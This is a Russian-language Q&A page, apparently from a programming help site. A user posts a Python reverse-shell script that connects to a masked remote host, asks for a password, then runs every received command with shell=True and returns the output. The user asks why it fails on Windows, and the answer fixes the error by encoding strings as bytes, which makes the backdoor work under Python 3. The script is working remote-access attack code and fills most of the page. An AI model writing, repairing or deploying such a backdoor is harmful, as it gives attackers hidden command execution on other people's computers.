Python Socket Errors "байтоподобный объект требуется не 'str' - PullRequest
0 голосов
/ 04 апреля 2020

Это мой сценарий. Он отлично работает на Linux, но когда я запускаю его на Windows компьютере, я получаю 2 ошибки. которые перечислены внизу.

#!/usr/bin/python
import subprocess   
import socket        

host = "*********"   
port = ***           
passwd = "****"  
def Login():
    global s
    s.send("Login: ")
    pwd = s.recv(1024)

    if pwd.strip() != passwd:
        Login()
    else:
        s.send("SHELL ")
        Shell()

#Execute Shell Commands
def Shell():
    while True:
        data = s.recv(1024)

        if data.strip() == ":kill":
            break

        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        output = proc.stdout.read() + proc.stderr.read()
        s.send(output)
        s.send("#> ")

#Start Script
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)       
s.connect((host,port))
Login()

НИЖЕ ДВУХ ОШИБОК что необходимо изменить?

C:\Users\IEUser\Desktop\Python>python ReverseShell.py
Traceback (most recent call last):
  File "ReverseShell.py", line 34, in <module>
    Login()
  File "ReverseShell.py", line 11, in Login
    s.send("Login: ")
TypeError: a bytes-like object is required, not 'str'

1 Ответ

1 голос
/ 04 апреля 2020

В python2 sock.send можно взять python str в python3, это должно быть bytes-like object

Простое исправление выглядит следующим образом

'message'.encode('utf-8')

В python2 это ничего не даст, в python3 вы получите bytes. БАМ!

Надеюсь, это поможет!

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...